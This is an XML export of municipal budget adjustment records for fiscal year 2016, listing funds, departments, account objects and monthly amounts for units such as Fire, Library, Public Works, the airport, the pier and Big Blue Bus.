<row _id="20435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404320.0</object><object_description>PARAMEDIC SKILLED NURSING FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20000</total></row>
<row _id="20436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2280</total></row>
<row _id="20437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1060</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1060</total></row>
<row _id="20438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4936</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4936</total></row>
<row _id="20439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>148625</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>148625</total></row>
<row _id="20440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="20441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>31505</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31505</total></row>
<row _id="20442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>150916</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>150916</total></row>
<row _id="20443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2698</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2698</total></row>
<row _id="20444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5124</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5124</total></row>
<row _id="20445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>104</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>104</total></row>
<row _id="20446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2077</total></row>
<row _id="20447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5192</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5192</total></row>
<row _id="20448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>53704</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>53704</total></row>
<row _id="20449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>419</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>419</total></row>
<row _id="20450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>120</total></row>
<row _id="20451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2283</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2283</total></row>
<row _id="20452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533280.0</object><object_description>AVIATION MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>128000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>128000</total></row>
<row _id="20453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>407830.0</object><object_description>AQMD MSRC DISCRETIONARY FUNDS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-600000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-600000</total></row>
<row _id="20454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402670.0</object><object_description>FUTURE REPLACEMENT-CNG FACILIT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-100000</total></row>
<row _id="20455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>93425</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>93425</total></row>
<row _id="20456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2306</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2306</total></row>
<row _id="20457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8200</total></row>
<row _id="20458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1046</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1046</total></row>
<row _id="20459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="20460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="20461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>712368</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>712368</total></row>
<row _id="20462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407220.0</object><object_description>NEIGHBOR NOTIFICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-14900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-14900</total></row>
<row _id="20463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1076</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1076</total></row>
<row _id="20464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401680.0</object><object_description>UNDERGROUND TANK PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-84644</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-84644</total></row>
<row _id="20465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400773.0</object><object_description>JONATHAN CLUB-IMPROVEMENTS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-75000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-75000</total></row>
<row _id="20466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560020.0</object><object_description>DOWNSPOUT REDIRECT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1558</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1558</total></row>
<row _id="20467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>406181.0</object><object_description>RUBBERIZED ASPHALT GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-90160</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-90160</total></row>
<row _id="20468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533690.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4325</total></row>
<row _id="20469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-40563</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-40563</total></row>
<row _id="20470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-104151</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-104151</total></row>
<row _id="20471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401252.0</object><object_description>PLAN CHECK FEES-MACERICH</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-49943</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-49943</total></row>
<row _id="20473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7419</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7419</total></row>
<row _id="20474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-55011</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-55011</total></row>
<row _id="20475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-9667</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9667</total></row>
<row _id="20476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-3016</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3016</total></row>
<row _id="20477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-1446</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1446</total></row>
<row _id="20478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7124</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7124</total></row>
<row _id="20479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7265</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7265</total></row>
<row _id="20480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7147</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7147</total></row>
<row _id="20481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14380</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14380</total></row>
<row _id="20482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2601</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2601</total></row>
<row _id="20483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>436</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>436</total></row>
